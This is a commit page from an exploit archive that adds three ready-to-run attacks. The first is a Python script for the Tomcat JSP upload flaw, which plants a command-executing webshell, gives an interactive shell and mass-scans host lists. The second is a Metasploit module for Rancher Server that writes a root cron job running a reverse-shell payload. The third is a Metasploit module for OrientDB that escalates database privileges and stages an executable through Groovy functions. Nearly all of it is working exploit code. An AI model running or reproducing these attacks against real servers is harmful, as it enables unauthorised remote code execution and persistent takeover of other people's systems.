DB: 2017-10-10

3 new exploits

Rancher Server - Docker Daemon Code Execution (Metasploit)
OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)

Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution
This commit is contained in:
Offensive Security 2017-10-10 05:01:34 +00:00
parent 99ad37a918
commit b49ee665d7
4 changed files with 705 additions and 0 deletions

View file

@ -15894,6 +15894,8 @@ id,file,description,date,author,platform,type,port
42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0
42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0
42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0
42964,platforms/lin_x86-64/remote/42964.rb,"Rancher Server - Docker Daemon Code Execution (Metasploit)",2017-10-09,Metasploit,lin_x86-64,remote,8080
42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@ -38660,3 +38662,4 @@ id,file,description,date,author,platform,type,port
42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0
42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0
42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0
42966,platforms/jsp/webapps/42966.py,"Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution",2017-10-09,intx0x80,jsp,webapps,0

Can't render this file because it is too large.

212
platforms/jsp/webapps/42966.py Executable file
View file

@ -0,0 +1,212 @@
#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
"""
def signal_handler(signal, frame):
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
exit()
signal.signal(signal.SIGINT, signal_handler)
def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n")
def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
re=requests.get(str(url)+"/"+str(f), headers=headers)
return re.content
def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
if req.status_code==201:
print "File Created .."
def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
def shell(url,f):
while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=raw_input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
re=str(re.content)
t=removetags(re)
print t
#print bcolors.HEADER+ banner+bcolors.ENDC
parse=OptionParser(
bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC
)
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
(opt,args)=parse.parse_args()
if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)
else:
if opt.U!=None and opt.P==None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
url=str(opt.U)
checker="Poc.jsp"
print bcolors.BOLD +"Poc Filename {}".format(checker)
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
else:
print 'Not Vulnerable to CVE-2017-12617 '
elif opt.P!=None and opt.U!=None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
pwn=str(opt.P)
url=str(opt.U)
print "Uploading Webshell ....."
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
w=str(opt.L)
f=open(w,"r")
print "Scaning hosts in {}".format(w)
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("\n")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"

View file

@ -0,0 +1,234 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Rancher Server - Docker Exploit',
'Description' => %q(
Utilizing Rancher Server, an attacker can create a docker container
with the '/' path mounted with read/write permissions on the host
server that is running the docker container. As the docker container
executes command as uid 0 it is honored by the host operating system
allowing the attacker to edit/create files owed by root. This exploit
abuses this to creates a cron job in the '/etc/cron.d/' path of the
host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
),
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
],
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Payload' => { 'Space' => 65000 },
'Targets' => [[ 'Linux', {} ]],
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 27, 2017'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
]
)
register_advanced_options(
[
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
]
)
end
def del_container(rancher_container_id, container_id)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
return vprint_good('The docker container has been removed.') if res && res.code == 200
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
command << "echo \"\" >> #{echo_cron_path} \&\& "
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
command
end
def make_container(mnt_path, cron_path, payload_path, container_id)
vprint_status('Setting container json request variables')
{
'instanceTriggeredStop' => 'stop',
'startOnCreate' => true,
'networkMode' => 'managed',
'requestedHostId' => datastore['TARGETHOST'],
'type' => 'container',
'dataVolumes' => [ '/:' + mnt_path ],
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
'name' => container_id,
'command' => make_cmd(mnt_path, cron_path, payload_path),
'entryPoint' => %w[sh -c]
}
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
print_error('Authorization is required. Provide valid Rancher API Keys.')
return Exploit::CheckCode::Detected
end
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
target_found = false
target_selected = false
environments = JSON.parse(res.body)['data']
environments.each do |e|
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
hosts = JSON.parse(res.body)['data']
hosts.each do |h|
target_found = true
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
# flag results when this host is targeted via options
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
target_selected = true
vprint_good(result + ' %red<-- targeted%clr')
else
vprint_good(result)
end
end
end
if target_found
return Exploit::CheckCode::Vulnerable if target_selected
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
if datastore['VERBOSE'] == false
print_bad('Try verbose mode to know what happened.')
end
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
return Exploit::CheckCode::Appears
else
print_bad('No TARGETHOST available')
return Exploit::CheckCode::Detected
end
end
Exploit::CheckCode::Safe
end
def exploit
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end
# create required information to create json container information
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id
# deploy docker container
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
print_good('The docker container is created, waiting for it to deploy')
# cleanup
register_files_for_cleanup(cron_path, payload_path)
rancher_container_id = JSON.parse(res.body)['id']
deleted_container = false
sleep_time = 5
wait_time = datastore['WAIT_TIMEOUT']
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
next unless res && res.code == 200 && res.body.include?('stopped')
vprint_good('The docker container has stopped, now trying to remove it')
del_container(rancher_container_id, container_id)
deleted_container = true
wait_time = 0
end
# if container does not deploy, try to remove it and fail out
unless deleted_container
del_container(rancher_container_id, container_id)
fail_with(Failure::Unknown, "The docker container failed to start")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end

View file

@ -0,0 +1,256 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OrientDB 2.2.x Remote Code Execution',
'Description' => %q{
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
},
'Author' =>
[
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
],
'Platform' => %w{ linux unix win },
'Privileged' => false,
'Targets' =>
[
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
],
'DisclosureDate' => 'Jul 13 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2480),
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
])
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
print_good("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Vulnerable
else
print_status("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Safe
end
end
def http_send_command(cmd, opts = {})
# 1 -Create the malicious function
func_name = Rex::Text::rand_text_alpha(5).downcase
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
}
res = send_request_raw(request_parameters)
if not (res and res.code == 201)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
return
end
end
# 2 - Trigger the malicious function
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => ""
}
req = send_request_raw(request_parameters)
if not (req and req.code == 200)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
return
end
end
# 3 - Get the malicious function id
if res && res.body.length > 0
begin
json_body = JSON.parse(res.body)["@rid"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
return
end
end
func_id = json_body.slice(1..-1)
# 4 - Delete the malicious function
request_parameters = {
'method' => 'DELETE',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => ""
}
rer = send_request_raw(request_parameters)
if not (rer and rer.code == 204)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
return
end
end
end
def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jcode << "String [] #{cmd_array} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode
end
def on_new_session(client)
if not @to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
def execute_command(cmd, opts = {})
vprint_status("Attempting to execute: #{cmd}")
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
http_send_command(cmd,targetdb)
end
def linux_stager
cmds = "echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")
execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
privs_enable = ['create','read','update','execute','delete']
items = ['database.class.ouser','database.function','database.systemclusters']
# Set the required DB permissions
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "GRANT #{priv} ON #{item} TO writer"
}
res = send_request_raw(request_parameters)
end
end
# Exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager(flavor: :vbs)
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
res = http_send_command("#{payload.encoded}","#{targetdb}")
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end
handler
# Final Cleanup
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "REVOKE #{priv} ON #{item} FROM writer"
}
res = send_request_raw(request_parameters)
end
end
end
end